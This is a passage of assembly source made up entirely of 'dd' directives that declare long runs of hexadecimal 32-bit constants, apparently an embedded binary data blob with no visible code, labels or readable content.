0DB20BE6h, 41FFAC00h, 0EA698F5Ch dd 0E07D1C38h, 0B9DFC03Eh, 9CA7681Eh, 0B4005198h, 20961C33h dd 0E00AB8h, 0C853847Ch, 1379FD0Fh, 0D5BC6100h, 6FA64411h dd 0A7F21Dh, 0B807F675h, 7A9B6A24h, 0F4062700h, 0EED36DE3h dd 5510C078h, 0CE19684Ah, 61155406h, 18799Dh, 0BDF9C7DDh dd 0F7E9590Fh, 0F4102E00h, 5B369958h, 1FB41F83h, 80859C28h dd 0D5D3AE32h, 0F500CE18h, 48062524h, 0EA9E202h, 0D03A0A6Bh dd 96808C69h, 0D80FF6B1h, 0C9BD1E00h, 2B17F36Eh, 714AE621h dd 933E00BCh, 33E01FFFh, 60003B9Dh, 36408D4Eh, 416EB3h dd 37C94521h, 19EE8F73h, 80DE591Dh, 700D3401h, 65EDD214h dd 0F970FE8h, 0A5ED533Fh, 669811A1h, 3B8681CEh, 1245AC69h dd 0EEB2A530h, 111D00D8h, 65E1B321h, 9E0E8DE0h, 0C002C62Dh dd 0C37809F4h, 977B005Fh, 798BC8B9h, 4200FBB2h, 81E8D244h dd 30C9290h, 35863E93h, 96D0A041h, 0F3008FF8h, 7E565DB6h dd 98F62Ah, 4090EB51h, 0B3034E41h, 6F47140Fh, 0A5978002h dd 93D24Dh, 63D18553h, 23A4195Ch, 0DA57FE00h, 21E6F79h dd 77EF00FBh, 2D8AA74Ch, 2B76380Ch, 0BDBE2409h, 92460C4Dh dd 8832506Dh, 0EDFD007Eh, 99E15159h, 0B700D323h, 3EEB93ECh dd 1E376E14h, 9EAC7B97h, 0F88FC752h, 0D8EEA3D2h, 0FA3CEAF8h dd 9D86DB03h, 0D826F3C8h, 0BF13B3h, 3BA1550Eh, 5640E4EAh dd 74E87F1Dh, 78200A00h, 1CC31057h, 85F1B0h, 727FC50Eh dd 25009E88h, 3698AFD0h, 10A7577h, 0CC1EDA65h, 60709F8Dh dd 813E4D7Ch, 2BA8671h, 207439h, 7CF9FD79h, 24B356C8h dd 19C18803h, 0BB1B548Ch, 0F0E8002Fh, 9259EAFDh, 2300E4C5h dd 0E9B90157h, 72943Dh, 0F76FFEF2h, 0BE419BDFh, 6E122400h dd 0C1D15D74h, 0C5FA0Eh, 85B4C90Bh, 0C4BEDA49h, 79D00701h dd 0A37F3BC3h, 32660C4h, 3877ED80h, 89B05166h, 9200013Ah dd 0E0CB4907h, 5C0C44h, 97439F36h, 141CAF96h, 0CF05EE00h dd 4E0361ABh, 0E3D72E5Fh, 876D0245h, 0BC80DF7Bh, 805B235Dh dd 6260E890h, 0C7CE01B8h, 7D5675FAh, 2AC900A1h, 0A7A960AEh dd 1B00CBEFh, 4E6928D0h, 4814D147h, 62014093h, 6839429Fh dd 13C6C86Ch, 1AB1000h, 0B8FCCEEDh, 428800AAh, 0D014788Ch dd 0DC004CEBh, 0A5273AFAh, 6720A8h, 56368829h, 44C8766Bh dd 0C4548300h, 77ADD599h, 3C9E0010h, 196A7DBh, 0FC003537h dd 6A3D8905h, 1A5F08Ah, 0D68124C6h, 40497961h, 0DF3AC2FAh dd 0DE86CC00h, 6C34F27Ch, 0B3BB0044h, 0E12565ECh, 3200A836h dd 77F94A87h, 7558B537h, 97353F60h, 0AD404580h, 848EFA7Bh dd 329DF901h, 0CA783802h, 90697D20h, 19183B00h, 0B4B96800h dd 8F43C2CFh, 0CE5A751Fh, 45C7F85Eh, 91307EC0h, 0B3E3B0h dd 5D659C5Fh, 75AC28D9h, 0D4A76600h, 5A2CEEFAh, 84CF007Bh dd 6A182E0Ch, 0C40532B8h, 0A253B581h, 0F87054C6h, 2EAB3DB2h dd 7C3C3B83h, 0A0A02BB7h, 20C33DAEh, 0C03F9BE7h, 201972E2h dd 0AF00E12Eh, 770C32F5h, 1F1D9146h, 40554E64h, 0A90D6A23h dd 0BA9898C4h, 827D2800h, 73DF813Fh, 0D70C04Ah, 0EA2ED977h dd 4E6CF319h, 1EF007F9h, 236A0F27h, 0C303582Fh, 6F8B586h dd 31016D0Fh, 696E8333h, 81F4BC2Dh, 9F413D3Ch, 4ACCAB00h dd 1B77F584h, 0A843BF00h, 0A93F7D34h, 5A5C05F6h, 808C71DBh dd 0CCFF845Ah, 86B3E700h, 29387250h, 0FE4B0030h, 47E35177h dd 0D20031BBh, 20F405D6h, 8689DCh, 5E0DBC78h, 0FAD0BF39h dd 0C2791400h, 7CA3C78Dh, 1BF80352h, 81B8E5F0h, 85714AE8h dd 0D8AAE700h, 8E2541A4h, 9DA93B92h, 6F6800FDh, 0E8C2E18h dd 365408F3h, 97004A80h, 0EBB787DDh, 0FEAF243Ah, 0C35EE83Dh dd 0DDE0A921h, 0EBD401D8h, 0C600B5FAh, 0AC7A12D9h, 7DF8EE3h dd 717E834Fh, 0EB6D603Bh, 960067BAh, 232A3346h, 509DD67Fh dd 10C019h, 0CBE5297Ah, 0F1312DB4h, 372EEC3Ah, 0ED902115h dd 340829h, 0CA859D20h, 0B98261F5h, 0DB62670Fh, 0B1F72199h dd 6089CDB7h, 0D48075E4h, 244F61BBh, 0F52E2200h, 441823B1h dd 1B349233h, 82D090Dh, 47A519C0h, 4478BC00h, 14284BD7h dd 5E7105A2h, 48309123h, 0E6C0E090h, 21B778DDh, 0AA603DF3h dd 0B844DDFFh, 4D20027h, 4574BFD8h, 0F329A17Dh, 701184CBh dd 0AC298783h, 0C2E9CF9h, 0EB1C03Dh, 822297Eh, 0DACEAB01h dd 475FF3C9h, 8FB0A69Fh, 0BA03F26Bh, 0BCB8D79Eh, 1B00FB54h dd 0F0DACBDFh, 607A58h, 0E3FC6A34h, 65CD1FE5h, 5D765604h dd 0FB805C12h, 0EF0441h, 0BE5321ECh, 151888D5h, 3771ADB8h dd 0C7BCBD00h, 5775812h, 99A83A56h, 0C4E3DD00h, 599E807Eh dd 0D82B5400h, 25101432h, 3F1806E7h, 840DFF3h, 19216860h dd 33011CCh, 7315B32Ch, 48182188h, 0E7203FA2h, 1E2303E5h dd 73145664h, 0A90C54A2h, 9D70C8D8h, 26100FC0h, 30B021E7h dd 7513188h, 5011C71Ch, 3846D1Fh, 0D75AF400h, 38098B49h dd 0B658000Dh, 1F8FA7AFh, 0DF28C32Ch, 81466CF3h, 4A11CB02h dd 3491D0E7h, 0C3181034h, 16A50511h, 0C02407CEh, 9E7FF141h dd 225A952Eh, 7035090Ch, 492C0CC2h, 0E31141EBh, 4EB56C00h dd 5D011C15h, 3986008Bh, 0CDBA5A8h, 6700516Fh, 3E59EE9Ah dd 38AB5C26h, 0AF0E312Ah, 1C07F18h, 85B671F0h, 0EB84DE00h dd 0F2B09691h, 0DF43002Eh, 8CAA657Fh, 35000140h, 6E7E4A76h dd 0C9842Bh, 0F97AFA5Dh, 7C830F52h, 2D1DE000h, 7082DAA2h dd 354000AFh, 0F53025D2h, 9938EC37h, 39328E71h, 1A01A076h dd 0FCDB8F22h, 9F3C002Dh, 0B8809186h, 0CF0032B9h, 2F184566h dd 3724C6Eh, 0B40203A7h, 880F8009h, 0E3C2D371h, 0E008757Fh dd 7B4E7Ch, 0DB2DA05Fh, 0BDD854FFh, 0F7113703h, 2A78D27h dd 8FD31C1h, 0A6C0FF1Bh, 0C202B856h, 320FD13Dh, 0C51660E6h dd 9F40099h, 9FCF8388h, 2B07A40Ah, 0F5270777h, 87EFF1C7h dd 0F697D7B4h, 751C6C80h, 0A42A1817h, 0AF2D710Fh, 77600EF8h dd 1AD5B3E8h, 492900C1h, 96D9F6B2h, 5101D628h, 0FD039AF3h dd 40FA0FF7h, 3A4C4851h, 0F9005B13h, 0A33745B8h, 0F13BCE6Dh dd 29098054h, 0F384CCE3h, 0D884A9EFh, 0C04F8EC0h, 61C4A2E1h dd 0C300367Ch, 8C7ED6A7h, 0FE0BCF8h, 0E44E8867h, 0BEA055CFh dd 0A5AECE46h, 71E86900h, 845004D0h, 0E1DC03E5h, 4F2EF957h dd 0EAB607E8h, 0BB67BF0Eh, 1B36E7A0h, 0A472A6E0h, 0A7BD1826h dd 0E8CB1878h, 0E9F46000h, 8DFDBBFEh, 0C0CE0045h, 1AD626Eh dd 0AE744736h, 2821D960h, 0F0D0CE5Dh, 55FB0F25h, 803C236Fh dd 0FC119AEFh, 0B9036CEDh, 0BA824A8Dh, 639EC0FDh, 581E0391h dd 5BE9214Eh, 509D0930h, 1F6CBEEDh, 0C19491h, 0ABC633BCh dd 3C1855AFh, 0A17882F2h, 81ED6007h, 409D3FB0h, 9770E33Fh dd 0AD186248h, 722E580h, 0B4748A51h, 0A6FBC318h, 2A901860h dd 0C0453F5Fh, 0F9FA0910h dd 0E400D572h, 27823307h, 705EF8h, 0B859A08Ch, 22A44EA2h dd 0A3A9A600h, 0E419EA3Dh, 3172006Fh, 0C83C65DAh, 17000542h dd 4118ADFEh, 0E46099h, 1ECD3249h, 0B1B0B3FBh, 0D8862700h dd 0C642DE35h, 444A009Eh, 0DCC1FC8Ch, 88000E54h, 0DCC1626h dd 0EDF66Ah, 0D8217030h, 19170AC0h, 821F8F71h, 11C0392Bh dd 545527ADh, 21E91D7Fh, 0B7BB4062h, 20D459C2h, 76F3E50Fh dd 0E97D016Fh, 9CE0E0EDh, 1CE600C3h, 0E8D8CD3Ah, 422F6C90h dd 3DF5085h, 82EA4C92h, 0F2A916FCh, 632470CFh, 0B63841B0h dd 0E2B70083h, 0EAA84E78h, 9DE875h, 2B5A795h, 0BE6E74EDh dd 410009EEh, 1D37EABFh, 3CDF13B9h, 6486B584h, 9BD4C94h dd 0B0AEEA43h, 0D2D71585h, 985FF010h, 5D4648h, 4CBAE31Dh dd 0E789BBh, 6DF1855Ah, 9F638DC6h, 93292064h, 11861321h dd 0A4116AFDh, 13971215h, 0B927B78Ah, 1FCC8838h, 84FB2B88h dd 4E2EBE9h, 6A406C25h, 0B54345C5h, 583A8F42h, 228421C4h dd 0E342CB48h, 2DFF447Dh, 441B5D44h, 2284E7C1h, 292294ADh dd 0CC50225Eh, 0F02C3B20h, 87790E01h, 0BC00C207h, 0F62AD8A3h dd 304A5100h, 966A215Fh, 60473A64h, 588EEF87h, 18150034h dd 54006DCDh, 9E9F598Bh, 4A8630h, 0C799E76Fh, 4D329C01h dd 0C88E4302h, 600EF2D9h, 272477h, 0A83F1F5Ah, 74FEF728h dd 0A500AF72h, 31EC6682h, 3FDB62CEh, 158748B3h, 0B010A375h dd 83B0601Eh, 0CD4C1200h, 296E68C8h, 22C103EBh, 0C7D6F4Bh dd 0D71AFDC8h, 5833F100h, 0E56ADFDCh, 39CE3FBEh, 74C4E080h dd 0C669D8ADh, 0CF68E300h, 0BBC8D2FFh, 8CB300BFh, 8E5A2986h dd 1009698h, 0A508EC89h, 9B61481h, 0ED13DEA6h, 69A03003h dd 0D7D1E6A0h, 1000747Ch, 0AB1809B0h, 38130150h, 23800AA1h dd 0C8696F5Bh, 0CC0096C0h, 7E65F9DCh, 1E76D0E7h, 0C07AAB98h dd 4EE36C8Eh, 0AE0096BAh, 0ACADD2FCh, 0F2D0A71h, 0D8FA292Bh dd 0D2E1838h, 310122F8h, 0A312A5CAh, 0EFDC2362h, 0A6B2035Ch dd 904E92B8h, 2FF72C04h, 8C804BE5h, 3575466h, 5C2BBBA1h dd 78B04E29h, 0D400E9A4h, 3540F31Ch, 11FC7BEh, 0B2813273h dd 0ECBC9056h, 0B8079430h, 0C4F4414Bh, 0C00DFB80h, 32290078h dd 0AB6C577h, 0E0B03B1Ch, 42130F00h, 54F7609Ch, 61393A38h dd 0EB208C03h, 0D590B093h, 2700E0DCh, 0A169CE92h, 0AEB22Eh dd 57F0E295h, 8312024Fh, 3072FE39h, 7CF43C5Ch, 44850148h dd 4E5D641h, 0DF6CFCEBh, 0AA43F012h, 3C2C28h, 0A525B949h dd 11761CEh, 0C4C3A901h, 9A3B4DDh, 985EE870h, 0BB390018h dd 8691016h, 0A71CF687h, 0E1C0413Ah, 73755B7Dh, 0A4000C5h dd 0C79284A3h, 900B92Ah, 28F5429Ah, 74FAE78h, 7ADF39D9h dd 17DA10FBh, 331FFF70h, 0D1C07D8Ah, 90513850h, 0D7020028h dd 0C0D60C83h, 0B77BFE4h, 2EABC91Eh, 0C200B6A4h, 0A7319B3Dh dd 0A95800BEh, 65B9E6A2h, 57005D6Eh, 0E27DB79Dh, 80047Ah dd 3F19C0D3h, 0CDA7C8FBh, 0F6AA9801h, 42BE70EFh, 2CADE4h dd 0BC0F2A2Fh, 50E5AC0Ch, 0E8D64E02h, 0C8E444B7h, 0ED171E0h dd 0EBDC5157h, 81BB301h, 0A843CCC9h, 9CC3FF39h, 0AF47715Bh dd 265077AEh, 921795h, 2D02591Eh, 0A78ADD1Ch, 73E92A3Ah dd 8E5C3Bh, 0CC12CDA5h, 24DB37E6h, 170D4C3h, 6EB0D8BFh dd 8E34C496h, 9B797303h, 60E837D7h, 11ECE8C2h, 0A00A2BAh dd 24A613A9h, 2396364h, 42C3193Fh, 8403506h, 0EE01795Fh dd 331BB6A5h, 0D5C1ED36h, 573FCh, 0A159CAC8h, 1F514A43h dd 0D446821Fh, 0AAB9C987h, 0B3E40433h, 0A18DE0DFh, 40FE120Fh dd 7900050h, 0BAA87C98h, 0E83C87FAh, 24C780D8h, 372CC58Fh dd 90FCA8EEh, 0EF0D00DDh, 2D3FCE69h, 44005622h, 0AC7FC267h dd 2A73A6h, 3815F04Ah, 0D95E37BBh, 990062F2h, 0F118472Fh dd 5528C3h, 0A554898Eh, 0E5F2EA0Ch, 0D60090FCh, 309302A3h dd 0E1291Bh, 0CD80210Eh, 2CD00841h, 95009F79h, 9B504497h dd 29A665C9h, 0E45C9Dh, 2DFD05DDh, 9F009495h, 22262460h dd 504DF5BFh, 700AEE3Ah, 54F4BAh, 0F623F40h, 0A998DA44h dd 45088503h, 80364F01h, 97B33BEh, 0B67DE2B0h, 43292680h dd 2A00EC15h, 39E7497Eh, 2756C2h, 0F9FEEA35h, 68536FCEh dd 93A0C100h, 70E7E17Fh, 5F6C000Bh, 17FA74D9h, 0B0009289h dd 0C30CC95Ch, 46B471h, 2D13DC63h, 85ED5ACFh, 10123675h dd 8207DD20h, 807FB2DAh, 903D580h, 461F00EEh, 510D91A6h dd 0CD005A47h, 1524E938h, 0E68E4B34h, 41030083h, 877CB54Ch dd 895ABA39h, 0E900F3E8h, 0C468F186h, 0EDEAA473h, 0AD406E12h dd 0CA88003Eh, 89E0D0C0h, 6C0013Ch, 0DB6EE6D7h, 4045F05Dh dd 73B51C00h, 0BD77A6BCh, 0B0B256h, 2263D24Bh, 18D69DE8h dd 3E36993Dh, 6E690094h, 7A98B51h, 0AD080104h, 5C75D510h dd 11F6E0B1h, 0D170E61Ch, 90C71941h, 0FAE05A97h, 0DB2700A0h dd 8E211F28h, 0B402CBDFh, 0F7C7CEB5h, 0BCD8C053h, 99EE2602h dd 40BB004Ah, 0A3A177Eh, 5D4E6E00h, 0A64C7D1Eh, 897B00EEh dd 41485498h, 5A007840h, 2B2017E6h, 7AC408h, 12353138h dd 88F764CBh, 984DE400h, 0DE61FD0Ch, 68511449h, 48009F17h dd 0B855F615h, 7D0F87F0h, 0E08C8365h, 16D218B5h, 20AE004Bh dd 0CBCDEC9Eh, 0D8A05BC2h, 7400500Fh, 0DD05E2B1h, 0D0C056h dd 9B54C41Fh, 0F2291221h, 95099DF4h, 0FFF705C6h, 0CCB58C00h dd 34F39F6Fh, 9B014CF8h, 0FD5D8D84h, 0D840DCB1h, 713431h dd 14A2D46h, 7CAB082h, 830E4212h, 0C9EEB505h, 8C34DCC0h dd 0B66C00B1h, 0F11C03ECh, 81000ED4h, 88A887D6h, 0A547F8h dd 1C20B44h, 2FA97BCFh, 1D00A1EAh, 0CC7CED5Eh, 7846FB1Ch dd 0A50F00B2h, 0FAA2F197h, 4A00DCF6h, 0E161E4DFh, 5F4C60h dd 687B418Ch, 1681D329h, 8F95FF07h, 38723CB4h, 0D1CAE01Fh dd 7C6100DBh, 5C0DD915h, 1800EEB0h, 0F4763E48h, 0E042A5A9h dd 0B43A00BAh, 3C942320h, 0B770F57Ch, 1400D778h, 54931E71h dd 0BB646Ah, 9F7421B5h, 0C877E826h, 52600526h, 0A828F200h dd 18E11C9h, 0CABE9364h, 0F012B3A6h, 60025E2h, 88F5A34Bh dd 4F1962h, 0FFEFB42h, 550DB5C0h, 7DE9C100h, 0D1A3D3ECh dd 0B4B000A7h, 94E53D62h, 0B600BBC2h, 0AD1254C7h, 5F2CE1h dd 0A523599Eh, 1ADD91D1h, 6211B39h, 66F6FB22h, 10D20382h dd 7E390A5Ch, 0A6FD4C88h, 11672300h, 0E3AA59D1h, 0BB052CD3h dd 124600D0h, 6B89754Eh, 0BE977100h, 0E829E25Dh, 0ED3C1DF3h dd 0E3638092h, 0BDBA5525h, 90D02300h, 359B5D05h, 0AF523ACAh dd 0D74EA481h, 0A8F126E0h, 0BC008E62h, 9CC9C21Bh, 49449Eh dd 16DFF8EAh, 3CAA3532h, 632A4E00h, 266D66E0h, 0FE97018Ch dd 1B0C10CDh, 0DCEC24D0h, 0A98FA100h, 0DDBB4AA7h, 0E6C8016Bh dd 810A2375h, 47557111h, 0A15440D4h, 0A71EAD0Dh, 4EC014B4h dd 3BD8C23Ah, 0D9790077h, 0A4F243EFh, 0EE00D14Ch, 677BFA10h dd 3FE96375h, 9E00F7B6h, 597A6162h, 0E004452h, 10848E73h dd 1D0A82C1h, 3EC29C94h, 5C3D17h, 0BE3FB98h, 4F1EC71Ah dd 0A5809A2Dh, 0D867494Dh, 158D1795h, 0BBF100EFh, 24F94C64h dd 53BA3C00h, 81EEF629h, 31620310h, 506F34D2h, 0F2E34ED2h dd 938A1298h, 0FDA08CF4h, 5A0F635Dh, 8009D33Ch, 500A6EABh dd 0A2F60026h, 0C74630FCh, 0E60055BBh, 9D818A5Ch, 77853C01h dd 0AA1500C3h, 9B0E724Bh dd 0A1F65ECAh, 8D176E16h, 0CFC19E00h, 124B84h, 8D82045h dd 3D4FA767h, 0C02C9A0Eh, 40019F41h, 9DC775C4h, 20853C8h dd 0F2109FA6h, 0BFE074C1h, 6F0073E5h, 6123243Bh, 0EDBF48h dd 4FF2D564h, 0A5AD2825h, 5900D275h, 0D094E28Ch, 9D783Ch dd 8231CB9h, 6870C96Ch, 8085CC3Eh, 0C64D2C5h, 38A7CA82h dd 431761E5h, 930D0025h, 0C48E13FAh, 0F17AE100h, 3683D3CFh dd 8FC00F0h, 0EBA58690h, 8A0024BCh, 0EDFD4187h, 3D61C79h dd 702B3BA1h, 57F8E469h, 0FC0FB91Eh, 0FE7EBA92h, 965E1F40h dd 48EE2A8Bh, 0BD1DC8ACh, 6D718033h, 18308C8h, 2B9DAF00h dd 5255B998h, 7B6E6D0h, 0BF2E991Ah, 0D8030A4h, 0A80B6710h dd 285945h, 0B7FCB899h, 0D1E93AF2h, 0B405C914h, 0A59A9301h dd 0CC749E85h, 0FD296586h, 0A604C021h, 0B6C3D166h, 768380BDh dd 0D6070F0Eh, 3FE0CE15h, 3495DC61h, 5D9D9B00h, 5F5BF837h dd 0BE99008Eh, 124C97FCh, 291C21D5h, 4E8066B0h, 5F1587A3h dd 0C29800BAh, 0BC89CC10h, 0B1C02481h, 0F3857C13h, 9384079Ch dd 0A0225BF7h, 1406AF07h, 3CEA5503h, 90A160E8h, 1A05DAh dd 3761963Bh, 0C6AE0106h, 0AB354307h, 9AC051B2h, 0C199AFE5h dd 49CF4E88h, 0D284C433h, 41045CF2h, 0EB56DB9Fh, 0A9E89CC0h dd 0CD0C3D0Fh, 3F96CB00h, 0FF8F5F77h, 1A658300h, 583A460Bh dd 51E01F3h, 9EE3D0A1h, 8BA1C7EFh, 0C4A0DDEEh, 630068DCh dd 0BDFD1769h, 18473DB7h, 0E10196B2h, 760EAEE4h, 40623369h dd 54CE220Bh, 5870010Dh, 0E39DABEAh, 4875E45Ch, 0D7506100h dd 0D56BB9E5h, 72050022h, 0FC2C5903h, 3C00FE31h, 9F535F97h dd 48CE39E5h, 8A07A085h, 5CF63552h, 131F9870h, 5103AE62h dd 1F233845h, 1CADD89h, 0C43F6393h, 850C20B6h, 35FE3A03h dd 0A7CF8128h, 0EFEAF900h, 7078007Ch, 4B9724A4h, 540019DDh dd 0D1FD59CDh, 0F18D1Dh, 0F57892Ah, 21ACB69h, 38005479h dd 20FF7539h, 2126131h, 520C470Eh, 46407EDCh, 0F500F16Fh dd 7001D88Ch, 26744B31h, 0FE65578h, 19800DD3h, 9DBDBC40h dd 3D12CF00h, 81B0A12Fh, 514B0787h, 70071925h, 0BC60CDB6h dd 2D84A400h, 0EF5E63FFh, 16FB0076h, 8C1A78BDh, 270052F1h dd 0EB5A8D4Ch, 89EFE8h, 0CEAEDC70h, 0B2ECFE64h, 38CA7224h dd 5A403400h, 1F44B9F9h, 401E1C8Eh, 93DBFAEFh, 0EB00120Dh dd 1D2CB897h, 0E63EA5F8h, 39E61462h, 0C84C0E0h, 0AB226138h dd 0C4800E13h, 63263AB5h, 20003C11h, 2F8725CAh, 39876C5h dd 0D7F3F9C9h, 1000C041h, 0C37ABA2h, 7F1E33h, 0A6B277Ah dd 0C3360DD1h, 144EF43Eh, 13C1736Ah, 0B80E7492h, 0AF55EF66h dd 0B3504C5h, 1FA3ACD0h, 7C7794h, 0F6592857h, 0B79ADAE5h dd 1AEE5D0Fh, 0D05640CBh, 41C991Bh, 766C5EDBh, 6F1891C8h dd 7EAC6080h, 27425807h, 43E066AFh, 0E4E9DCFAh, 0A979ECh dd 36ACEAFFh, 9048F38Bh, 1198FB00h, 7DC18468h, 0E73F0049h dd 152C50F8h, 26038A94h, 0A8647323h, 674980Ah, 0B1C90019h dd 0E693F3D6h, 0D3014546h, 7339E33Eh, 0B040472Ch, 37F01Ch dd 23DD9A34h, 0A9289942h, 800A3C2Ch, 2E50033Dh, 0F85F0C25h dd 910FC8h, 0F144F040h, 0DE6B874h, 0C91613F0h, 8C008B29h dd 0B37F55A7h, 0F48A001Ah, 79A5E546h, 0FC587EE7h, 69007494h dd 0EC4BAFE9h, 5D2B5Ch, 0B33DE638h, 0EA578175h, 48DAA606h dd 1DA0A845h, 1918B87h, 1D67D6D9h, 582C203Dh, 68FB2600h dd 0F47E7524h, 9CD90010h, 2C122D64h, 0F77239BBh, 88B02375h dd 87B9EF10h, 0F021AB10h, 12ED5DA2h, 1CB839C3h, 506CEE0h dd 207EA9C0h, 0EFA282Ah, 0D2B00905h, 0F5C07ADBh, 886F35h dd 4AD46CB2h, 985F51CDh, 447DC300h, 438E9D63h, 0F474005Ah dd 64681683h, 5600BC80h, 8F2E9052h, 3D592Ch, 0F4690A7Bh dd 15294974h, 2F738C00h, 8FE99005h, 71282823h, 24FD0084h dd 21D010BDh, 0E100A053h, 5FCC88B0h, 8A77C2h, 4E63F26Fh dd 0B8EBB5AAh, 0A2276800h, 6040FF91h, 65850024h, 9CE4F5C8h dd 0DA169AD1h, 7C017A0Ch, 533BA289h, 51584F15h, 0C0DC5D12h dd 5BE56713h, 0AB0087E6h, 5F190CC7h, 0B0CA6B39h, 8DB33967h dd 20B050h, 0B6B55DBAh, 21732AADh, 646D58h, 5FBDB1A1h dd 0B71A0E6h, 4ABCFEC7h, 0F5ED4001h, 8E21C415h, 55AD7400h dd 8D325DF1h, 160B0026h, 8C9EA29Fh, 0B107097Fh, 482252CBh dd 0C30160B0h, 0F416002Dh, 5F586113h, 8E05BCA1h, 9ABAFD78h dd 0ABDA5480h, 52B824A4h, 430312D3h, 0EFAEE6C0h, 228BDFE0h dd 0B9C1A0C0h, 39BD61Ah, 9C58FA2Bh, 0FEB82619h, 0CE00833Eh dd 419002EEh, 50B04B4Ah, 85C87Dh, 0F80A2029h, 89CBDE69h dd 0B176D201h, 55BACD66h, 6EC7061h, 0D6620132h, 652FF090h dd 0C80C7088h, 0DF124960h, 5EE8C0Dh, 34E42DC4h, 0D1C8017Fh dd 0F4107206h, 5E0FD48Dh, 0C00CD83Ah, 52BEB79Eh, 0B3050CC6h dd 9FD12B8Bh, 0E862441Fh, 0F4403A16h, 75401CDh, 401C0087h dd 4CC729C1h, 893932CEh, 60F281B9h, 0C9A52F1Fh, 0A1608F4h dd 26456805h, 21820096h, 913518A3h, 921D6000h, 8EAE1AEDh dd 69251D03h, 7EFD00CAh, 0EA54A0ACh, 5F08E91Dh, 0E1822A82h dd 478681Dh, 4CA10767h, 0E0DA8C5Ah, 35603998h, 0EB3BEA0Fh dd 27C320FAh, 287EF79Fh, 1D89543h, 0DE6E06B2h, 6177D9FFh dd 4ADDF060h, 0E703F272h, 44EDD891h, 0DF8288B9h, 18F00347h dd 0DBEE86E3h, 9AC8B7DBh, 701F74Dh, 1192715Ah, 0BC60E9AAh dd 38E8035Fh, 0C341BDD2h, 26B303F0h, 0CD88A600h, 1651D9C9h dd 7A183807h, 86291381h, 0E8CF46D8h, 0B30096F6h, 14A25C99h dd 0A2A32h, 0FEABE790h, 0ED8AD3B7h, 0AE483E75h, 1C38D7h dd 4FF13732h, 9DA5BAh, 59A88862h, 44C25B50h, 32B72600h dd 98A98E9Ah, 7A9B00F4h, 61F6B26Fh, 0BEB0A51Ch, 37631500h dd 0AA838E8Ah, 7747EABCh, 672E009Bh, 0CF06861h, 100086E7h dd 776EF962h, 98F1E2C2h, 146BF6DCh, 0B00B4AB3h, 374FB002h dd 0A2008F33h, 48BAFE63h, 47804492h, 0BD389AAEh, 74DEB600h dd 290813C9h, 97EF03A4h, 0ABB2C8EBh, 74A3FE0h, 0DE0E3773h dd 1BFF742h, 934606E5h, 0B70FB041h, 0A00BE3E0h, 0B05AF280h dd 0DCE00084h, 46F3CB62h, 0FEFA72CAh, 0E9DBD502h, 4B0AD094h dd 7A12C060h, 29981F9Ch, 0A41C0658h, 0B8E6BC51h, 37F9490Bh dd 0CE0C8044h, 0F2107C9Ah, 11DE0185h, 0B4DA6C98h, 0CAF0308Fh dd 729B3B24h, 59226A01h, 0C8649CD7h, 904300C4h, 0B3F7628Dh dd 260E5037h, 4085FECAh, 60F9DC1Eh, 39DD3B61h, 16B57B24h dd 622C0F67h, 0E7881720h, 4E0BF53Dh, 5AFAB6h, 7F56FB4Ch dd 0E3AE4C4Fh, 6DE9F600h, 74FFD0BCh, 48BB712Eh, 8D631700h dd 3D2040D2h, 0E302CA9Ah, 141123FAh, 49ED4CC0h, 3EA18440h dd 3B025C0Fh, 1B6D0446h, 7D588C81h, 596A6033h, 3CF06439h dd 36CA7EAh, 0F083A714h, 0F4113AD1h, 4C201F5h, 0DF7A618Bh dd 7D2CF463h, 4AC73803h, 3787398h, 5C3465D0h, 0F6A0B1D0h dd 0E501BC4Eh, 60EDB4E4h, 6C30E299h, 3A9700A2h, 7862243Ch dd 0CF0674FAh, 4DD39FFDh, 0EDE80499h, 0C02BC558h, 0BA9019ACh dd 2276F300h, 5C7B0E3Bh, 7C9886h, 0B235679Dh, 0BCAE6370h dd 373BA00h, 0CFEEDBAAh, 0A66C142Dh, 7ED02Eh, 0F16FA064h dd 0D9250148h, 2CACDF03h, 0C7DEC7FCh, 98750550h, 4FDA00E2h dd 2BB4483h, 2E0FF236h dd 0E0B5689Ah, 88CA64DBh, 90F000CEh, 987718A9h, 0CC0016E5h dd 3B531755h, 7DC4EC3h, 0CA826DBBh, 75E10104h, 0BB807ADFh dd 0FF61Fh, 9E34A189h, 6CD15C10h, 0D6F84350h, 6E393A77h dd 3C590081h, 3941365Fh, 8D801F11h, 0F6508075h, 5117F70Ch dd 3FA27800h, 0C4CEE8B2h, 86AA001Bh, 2536208Bh, 9909D7CAh dd 81B9E291h, 0A4B6FA3Ch, 8B00EC2Ch, 0E75997F7h, 8C286F8Dh dd 70EBBE3h, 60D93E5Fh, 1150B2Dh, 0D84B2A6Ah, 0FE6905C0h dd 0C0B584F5h, 276CD25Ch, 6A28667Ah, 4A00E815h, 8E4E4F18h dd 785ACBDh, 64D61FECh, 9F9D31A8h, 819D70D2h, 0E0DEEA00h dd 3410997Fh, 310B0057h, 367A04C6h, 0F1F09C0h, 0B9C019E7h dd 8677E8A2h, 0FA2100AFh, 8C4C1052h, 0C40068CAh, 0F0421B4Bh dd 0F70E84h, 9C44D33Bh, 0DE867135h, 0C67FB11Fh, 494C2A45h dd 906DF0D1h, 34583D08h, 0CE781EC8h, 3E7BF040h, 0FAA69Eh dd 0AE452988h, 0E05DF3C9h, 80477427h, 18753B88h, 43EEE1E1h dd 7AD7888Ch, 0CAE406E2h, 28774735h, 0D4AD1513h, 56751704h dd 28764980h, 0CEDE00E2h, 79AA1237h, 843C1517h, 94F2024Ch dd 0D5654248h, 0E8A5E1E1h, 8F00714Fh, 53D7C52h, 9098D04Ch dd 0BF0D009Ch, 0B6AB2D36h, 0E5F4CF4Bh, 0DC9FD8C0h, 1C6855Eh dd 10EA9E9Ch, 284391BAh, 30D60030h, 4FBC8ED1h, 0EF192703h dd 0DA771000h, 5800CA5Ch, 3C48A497h, 70EF445h, 0B6895985h dd 0BC04EF8Fh, 7779808Ch, 18B888DCh, 0F6A3500h, 0AA052F10h dd 0AE7D029Ah, 4DF5B063h, 844AB481h, 8023CD8Fh, 686F0C50h dd 4CBB9C34h, 0B4157C0Eh, 487AD470h, 724CF6h, 9E028A50h dd 0E508A061h, 66DD22E8h, 9170CAC0h, 13503490h, 8B22DECh dd 0F80F09C0h, 2AE905h, 8138B9ECh, 37FF1BAFh, 71CFE0FAh dd 4006C32Bh, 0CD28F6D8h, 0A7F4EB03h, 90ACE46Bh, 0E65626FAh dd 0DDA0002Ch, 13D8D2A4h, 7E1C8AB8h, 1CE40948h, 55AAEF84h dd 698020D4h, 0E6511480h, 421896A0h, 0A40093B9h, 0E85AC741h dd 3A1C079Ch, 0C9C0DDh, 